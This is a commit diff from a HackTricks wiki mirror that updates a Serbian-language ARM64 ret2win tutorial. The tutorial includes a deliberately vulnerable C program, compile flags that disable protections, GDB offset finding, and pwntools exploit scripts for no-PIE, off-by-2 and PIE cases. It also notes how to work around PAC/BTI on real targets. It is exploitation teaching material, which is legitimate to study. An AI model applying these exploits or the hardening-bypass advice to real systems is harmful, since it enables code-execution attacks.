mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/binary-exploitation/stack-overflow/ret2win/ret2win-arm6
This commit is contained in:
parent
a8eee50828
commit
b2c23d00b6
@ -9,7 +9,7 @@ Pronađite uvod u arm64 u:
|
||||
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
|
||||
{{#endref}}
|
||||
|
||||
## Code
|
||||
## Kod
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
@ -28,17 +28,29 @@ vulnerable_function();
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
Kompajlirati bez pie i kanarinca:
|
||||
Kompajliraj bez pie i canary:
|
||||
```bash
|
||||
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie
|
||||
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie -mbranch-protection=none
|
||||
```
|
||||
## Pronalaženje ofseta
|
||||
- Dodatni flag `-mbranch-protection=none` onemogućava AArch64 Branch Protection (PAC/BTI). Ako tvoj toolchain po defaultu uključuje PAC ili BTI, ovo održava lab reproducibilnim. Da proveriš da li kompajlirani binarni koristi PAC/BTI možeš:
|
||||
- Potražiti AArch64 GNU properties:
|
||||
- `readelf --notes -W ret2win | grep -E 'AARCH64_FEATURE_1_(BTI|PAC)'`
|
||||
- Pregledati prologe/epiloge za `paciasp`/`autiasp` (PAC) ili za `bti c` landing padove (BTI):
|
||||
- `objdump -d ret2win | head -n 40`
|
||||
|
||||
### Opcija obrasca
|
||||
### AArch64 calling convention quick facts
|
||||
|
||||
Ovaj primer je napravljen koristeći [**GEF**](https://github.com/bata24/gef):
|
||||
- Link register je `x30` (takođe `lr`), i funkcije obično čuvaju `x29`/`x30` sa `stp x29, x30, [sp, #-16]!` i vraćaju ih sa `ldp x29, x30, [sp], #16; ret`.
|
||||
- To znači da sačuvana adresa povratka stoji na `sp+8` u odnosu na bazu frejma. Sa `char buffer[64]` postavljenim ispod, uobičajena distanca prepisivanja do sačuvanog `x30` je 64 (buffer) + 8 (sačuvani x29) = 72 bajta — upravo to ćemo naći dalje.
|
||||
- Pokazivač stoga (SP) mora ostati poravnat na 16‑bajtnoj granici na granicama funkcija. Ako kasnije budeš pravio ROP lance za složenije scenarije, zadrži SP poravnanje ili možeš srušiti program u epilogama funkcija.
|
||||
|
||||
Pokrenite gdb sa gef, kreirajte obrazac i koristite ga:
|
||||
## Pronalaženje offset-a
|
||||
|
||||
### Opcija pattern-a
|
||||
|
||||
Ovaj primer je kreiran koristeći [**GEF**](https://github.com/bata24/gef):
|
||||
|
||||
Pokreni gdb sa GEF, kreiraj pattern i upotrebi ga:
|
||||
```bash
|
||||
gdb -q ./ret2win
|
||||
pattern create 200
|
||||
@ -46,17 +58,17 @@ run
|
||||
```
|
||||
<figure><img src="../../../images/image (1205).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
arm64 će pokušati da se vrati na adresu u registru x30 (koji je kompromitovan), možemo to iskoristiti da pronađemo pomeraj obrasca:
|
||||
arm64 će pokušati da se vrati na adresu u registru x30 (koji je kompromitovan), možemo to iskoristiti da pronađemo pattern offset:
|
||||
```bash
|
||||
pattern search $x30
|
||||
```
|
||||
<figure><img src="../../../images/image (1206).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Pomak je 72 (9x48).**
|
||||
**Offset je 72 (9x48).**
|
||||
|
||||
### Opcija pomaka steka
|
||||
### Stack offset option
|
||||
|
||||
Počnite tako što ćete dobiti adresu steka gde je sačuvan pc registar:
|
||||
Počnite dobijanjem adrese stack-a na kojoj je smešten pc register:
|
||||
```bash
|
||||
gdb -q ./ret2win
|
||||
b *vulnerable_function + 0xc
|
||||
@ -65,14 +77,14 @@ info frame
|
||||
```
|
||||
<figure><img src="../../../images/image (1207).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Sada postavite tačku prekida nakon `read()` i nastavite dok se `read()` ne izvrši i postavite obrazac kao što je 13371337:
|
||||
Sada postavite breakpoint posle `read()` i nastavite dok se `read()` ne izvrši, pa postavite pattern као 13371337:
|
||||
```
|
||||
b *vulnerable_function+28
|
||||
c
|
||||
```
|
||||
<figure><img src="../../../images/image (1208).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Pronađite gde je ovaj obrazac smešten u memoriji:
|
||||
Pronađi gde je ovaj obrazac smešten u memoriji:
|
||||
|
||||
<figure><img src="../../../images/image (1209).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -80,23 +92,25 @@ Zatim: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
|
||||
|
||||
<figure><img src="../../../images/image (1210).png" alt="" width="339"><figcaption></figcaption></figure>
|
||||
|
||||
## Bez PIE
|
||||
## No PIE
|
||||
|
||||
### Redovni
|
||||
### Obično
|
||||
|
||||
Dobijte adresu **`win`** funkcije:
|
||||
Dohvati adresu funkcije **`win`**:
|
||||
```bash
|
||||
objdump -d ret2win | grep win
|
||||
ret2win: file format elf64-littleaarch64
|
||||
00000000004006c4 <win>:
|
||||
```
|
||||
Eksploatacija:
|
||||
Exploit:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
# Configuration
|
||||
binary_name = './ret2win'
|
||||
p = process(binary_name)
|
||||
# Optional but nice for AArch64
|
||||
context.arch = 'aarch64'
|
||||
|
||||
# Prepare the payload
|
||||
offset = 72
|
||||
@ -114,7 +128,7 @@ p.close()
|
||||
|
||||
### Off-by-1
|
||||
|
||||
Zapravo, ovo će više ličiti na off-by-2 u sačuvanom PC-u na steku. Umesto da prepisujemo celu adresu povratka, prepisujemo **samo poslednja 2 bajta** sa `0x06c4`.
|
||||
Zapravo, ovo će više biti off-by-2 u spremljenom PC-u na stacku. Umesto da prepišemo ceo return address, prepišemo **samo poslednja 2 bajta** sa `0x06c4`.
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -136,16 +150,16 @@ p.close()
|
||||
```
|
||||
<figure><img src="../../../images/image (1212).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
Možete pronaći još jedan primer off-by-one u ARM64 na [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), što je pravi off-by-**one** u fiktivnoj ranjivosti.
|
||||
Možete pronaći još jedan off-by-one primer za ARM64 na [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), koji je pravi off-by-**one** u fiktivnoj ranjivosti.
|
||||
|
||||
## Sa PIE
|
||||
|
||||
> [!TIP]
|
||||
> Kompajlirajte binarni fajl **bez `-no-pie` argumenta**
|
||||
> Kompajlirajte binarni fajl **bez argumenta `-no-pie`**
|
||||
|
||||
### Off-by-2
|
||||
|
||||
Bez leak-a ne znamo tačnu adresu pobedničke funkcije, ali možemo znati offset funkcije od binarnog fajla i znajući da adresa na koju se vraćamo već pokazuje na blisku adresu, moguće je leak-ovati offset do win funkcije (**0x7d4**) u ovom slučaju i jednostavno koristiti taj offset:
|
||||
Bez leak-a ne znamo tačnu adresu win function, ali možemo odrediti offset funkcije u binary-ju, i pošto return address koji prepisujemo već pokazuje na blisku adresu, moguće je leak-ovati offset do win function (**0x7d4**) u ovom slučaju i jednostavno koristiti taj offset:
|
||||
|
||||
<figure><img src="../../../images/image (1213).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
```python
|
||||
@ -167,4 +181,45 @@ p.send(payload)
|
||||
print(p.recvline())
|
||||
p.close()
|
||||
```
|
||||
### Beleške o modernom AArch64 hardeningu (PAC/BTI) i ret2win
|
||||
|
||||
- If the binary is compiled with AArch64 Branch Protection, you may see `paciasp`/`autiasp` or `bti c` emitted in function prologues/epilogues. In that case:
|
||||
- Returning to an address that is not a valid BTI landing pad may raise a `SIGILL`. Prefer targeting the exact function entry that contains `bti c`.
|
||||
- If PAC is enabled for returns, naive return‑address overwrites may fail because the epilogue authenticates `x30`. For learning scenarios, rebuild with `-mbranch-protection=none` (shown above). When attacking real targets, prefer non‑return hijacks (e.g., function pointer overwrites) or build ROP that never executes an `autiasp`/`ret` pair that authenticates your forged LR.
|
||||
- To check features quickly:
|
||||
- `readelf --notes -W ./ret2win` and look for `AARCH64_FEATURE_1_BTI` / `AARCH64_FEATURE_1_PAC` notes.
|
||||
- `objdump -d ./ret2win | head -n 40` and look for `bti c`, `paciasp`, `autiasp`.
|
||||
|
||||
### Pokretanje na hostovima koji nisu ARM64 (qemu‑user brz savet)
|
||||
|
||||
Ako ste na x86_64 ali želite da vežbate AArch64:
|
||||
```bash
|
||||
# Install qemu-user and AArch64 libs (Debian/Ubuntu)
|
||||
sudo apt-get install qemu-user qemu-user-static libc6-arm64-cross
|
||||
|
||||
# Run the binary with the AArch64 loader environment
|
||||
qemu-aarch64 -L /usr/aarch64-linux-gnu ./ret2win
|
||||
|
||||
# Debug with GDB (qemu-user gdbstub)
|
||||
qemu-aarch64 -g 1234 -L /usr/aarch64-linux-gnu ./ret2win &
|
||||
# In another terminal
|
||||
gdb-multiarch ./ret2win -ex 'target remote :1234'
|
||||
```
|
||||
### Povezane HackTricks stranice
|
||||
|
||||
-
|
||||
{{#ref}}
|
||||
../../rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md
|
||||
{{#endref}}
|
||||
-
|
||||
{{#ref}}
|
||||
../../rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
## Reference
|
||||
|
||||
- Omogućavanje PAC i BTI na AArch64 za Linux (Arm Community, nov 2024). https://community.arm.com/arm-community-blogs/b/operating-systems-blog/posts/enabling-pac-and-bti-on-aarch64-for-linux
|
||||
- Standard poziva procedura za Arm 64-bitnu arhitekturu (AAPCS64). https://github.com/ARM-software/abi-aa/blob/main/aapcs64/aapcs64.rst
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user